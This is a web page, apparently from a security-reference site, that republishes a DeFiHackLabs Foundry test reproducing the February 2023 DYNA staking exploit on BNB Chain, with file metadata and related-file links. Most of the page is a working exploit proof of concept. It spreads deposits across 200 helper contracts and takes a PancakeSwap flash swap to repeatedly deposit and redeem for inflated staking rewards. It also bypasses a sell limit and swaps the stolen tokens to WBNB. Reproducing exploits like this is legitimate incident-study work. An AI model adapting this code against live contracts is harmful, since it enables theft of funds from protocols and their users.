Public reproduction file

src/test/2023-02/DYNA_exp.sol

Public reproduction file for dataset entry - DYNA.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-02/DYNA_exp.sol131 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @Analysis
8// https://twitter.com/BlockSecTeam/status/1628319536117153794
9// https://twitter.com/BeosinAlert/status/1628301635834486784
10// @TX
11// https://bscscan.com/tx/0x06bbe093d9b84783b8ca92abab5eb8590cb2321285660f9b2a529d665d3f18e4
12// https://bscscan.com/tx/0xc09678fec49c643a30fc8e4dec36d0507dae7e9123c270e1f073d335deab6cf0
13 
14interface IStakingDYNA {
15    function deposit(
16        uint256 _stakeAmount
17    ) external;
18    function redeem(
19        uint256 _redeemAmount
20    ) external;
21}
22 
23interface IDYNA is IERC20 {
24    function _setMaxSoldAmount(
25        uint256 maxvalue
26    ) external;
27    function _maxSoldAmount() external view returns (uint256);
28}
29 
30contract StakingReward {
31    IERC20 DYNA = IERC20(0x5c0d0111ffc638802c9EfCcF55934D5C63aB3f79);
32    IStakingDYNA StakingDYNA = IStakingDYNA(0xa7B5eabC3Ee82c585f5F4ccC26b81c3Bd62Ff3a9);
33    address Owner;
34 
35    constructor(
36        address owner
37    ) {
38        Owner = owner;
39        DYNA.approve(address(StakingDYNA), type(uint256).max);
40    }
41 
42    function deposit(
43        uint256 amount
44    ) external {
45        StakingDYNA.deposit(amount);
46    }
47 
48    function withdraw(
49        uint256 amount
50    ) external {
51        StakingDYNA.redeem(amount);
52        DYNA.transfer(Owner, DYNA.balanceOf(address(this)));
53    }
54}
55 
56contract ContractTest is Test {
57    IDYNA DYNA = IDYNA(0x5c0d0111ffc638802c9EfCcF55934D5C63aB3f79);
58    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
59    IStakingDYNA StakingDYNA = IStakingDYNA(0xa7B5eabC3Ee82c585f5F4ccC26b81c3Bd62Ff3a9);
60    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
61    Uni_Pair_V2 Pair = Uni_Pair_V2(0xb6148c6fA6Ebdd6e22eF5150c5C3ceE78b24a3a0);
62    StakingReward stakingReward;
63    StakingReward[] StakingRewardList;
64    uint256 flashLoanAmount;
65    address DYNAOwner = 0xA8Ff6C807654c5B2B55f188e9a7Ce31C8d192353;
66 
67    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
68 
69    function setUp() public {
70        cheats.createSelectFork("bsc", 25_879_486);
71        cheats.label(address(DYNA), "DYNA");
72        cheats.label(address(WBNB), "WBNB");
73        cheats.label(address(Router), "Router");
74        cheats.label(address(Pair), "Pair");
75        cheats.label(address(StakingDYNA), "StakingDYNA");
76    }
77 
78    function testExploit() external {
79        StakingRewardFactory();
80        DYNA.transfer(address(Pair), 1); //
81        DYNA.transfer(tx.origin, 1e17);
82        //
83        cheats.startPrank(tx.origin);
84        // Bypass Sold Amount Limit
85        DYNA.transfer(address(Pair), 1); //
86        cheats.stopPrank();
87        //
88        cheats.warp(block.timestamp + 7 * 24 * 60 * 60);
89        // deposit a week ago
90        flashLoanAmount = DYNA.balanceOf(address(Pair)) - 3;
91        Pair.swap(flashLoanAmount, 0, address(this), new bytes(1));
92        DYNAToWBNB();
93 
94        emit log_named_decimal_uint("Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);
95    }
96 
97    function StakingRewardFactory() internal {
98        deal(address(DYNA), address(this), 1001 * 1e18);
99        uint256 preStakingRewardAmount = 1000 * 1e18 / 200;
100        for (uint256 i; i < 200; ++i) {
101            stakingReward = new StakingReward(address(this));
102            DYNA.transfer(address(stakingReward), preStakingRewardAmount);
103            stakingReward.deposit(preStakingRewardAmount);
104            StakingRewardList.push(stakingReward);
105        }
106    }
107 
108    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
109        uint256 listLength = StakingRewardList.length;
110        for (uint256 i; i < listLength; ++i) {
111            uint256 amount = DYNA.balanceOf(address(this));
112            DYNA.transfer(address(StakingRewardList[i]), amount);
113            StakingRewardList[i].deposit(amount);
114            StakingRewardList[i].withdraw(amount);
115        }
116        DYNA.transfer(address(Pair), flashLoanAmount * 100_000 / 9975 / 9 + 1000);
117    }
118 
119    function DYNAToWBNB() internal {
120        DYNA.transfer(tx.origin, DYNA.balanceOf(address(this)));
121        cheats.startPrank(tx.origin);
122        DYNA.approve(address(Router), type(uint256).max);
123        address[] memory path = new address[](2);
124        path[0] = address(DYNA);
125        path[1] = address(WBNB);
126        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
127            DYNA.balanceOf(tx.origin), 0, path, address(this), block.timestamp
128        );
129        cheats.stopPrank();
130    }
131}

Analysis

Dataset entry

Public Foundry test for “- DYNA” (2023-02-22). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

15 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2023-02/BonqDAO_exp.solSame month in the dataset · 533 lines
src/test/2023-02/CowSwap_exp.solSame month in the dataset · 64 lines
src/test/2023-02/Dexible_exp.solSame month in the dataset · 83 lines
src/test/2023-02/dForce_exp.solSame month in the dataset · 382 lines
src/test/2023-02/EFVault_exp.solSame month in the dataset · 38 lines
src/test/2023-02/FDP_exp.solSame month in the dataset · 114 lines
src/test/2023-02/LaunchZone_exp.solSame month in the dataset · 146 lines
src/test/2023-02/Orion_exp.solSame month in the dataset · 191 lines
src/test/2023-02/Platypus_exp.solSame month in the dataset · 138 lines
src/test/2023-02/RevertFinance_exp.solSame month in the dataset · 91 lines
src/test/2023-02/Sheep_exp.solSame month in the dataset · 72 lines
src/test/2023-02/USDs_exp.solSame month in the dataset · 51 lines
src/test/2023-02/Starlink_exp.solSame month in the dataset · 80 lines
src/test/2023-02/SwapX_exp.solSame month in the dataset · 83 lines
src/test/2026-04/SingularityDynaVault_exp.solSame protocol or name in the dataset · 180 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name: DYNA
Path: src/test/2023-02/DYNA_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 8d9eea187fe9d3aaa46f1c4d7b2c29d945988846
Language: Solidity
Size: 132 lines
Date: 2023-02-22
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2023-02/DYNA_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8d9eea187fe9d3aaa46f1c4d7b2c29d945988846, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.